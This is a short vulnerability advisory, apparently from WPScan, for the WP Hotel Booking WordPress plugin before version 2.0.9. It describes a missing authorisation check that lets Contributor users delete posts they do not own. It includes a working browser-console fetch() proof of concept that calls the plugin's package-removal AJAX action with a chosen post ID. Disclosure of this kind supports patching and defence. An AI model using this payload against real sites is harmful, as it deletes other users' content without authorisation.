WP Hotel Booking < 2.0.9 - Contributor+ Arbitrary Post Deletion

2023-10-2600:00:00

Erwan LR (WPScan)

vulnerability

web-based exploit

user role

arbitrary deletion

wordpress

AI Score

Confidence

Low

EPSS

Percentile

13.3%

JSON

Description The plugin does not have proper authorisation when deleting a package, allowing Contributor and above roles to delete posts that do no belong to them

Run the below command in the developer console of the web browser while being on the blog as a Contributor user. This will put the post with ID 1 in the trash (change this ID to a post the user should not be able to delete, like one created by an admin). Run it again to delete the post

fetch("/wp-admin/admin-ajax.php", {"headers": {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},"body": 'action=tp_extra_package_remove&package_id=1&nonce=' + hotel_settings['nonce'],"method": "POST"});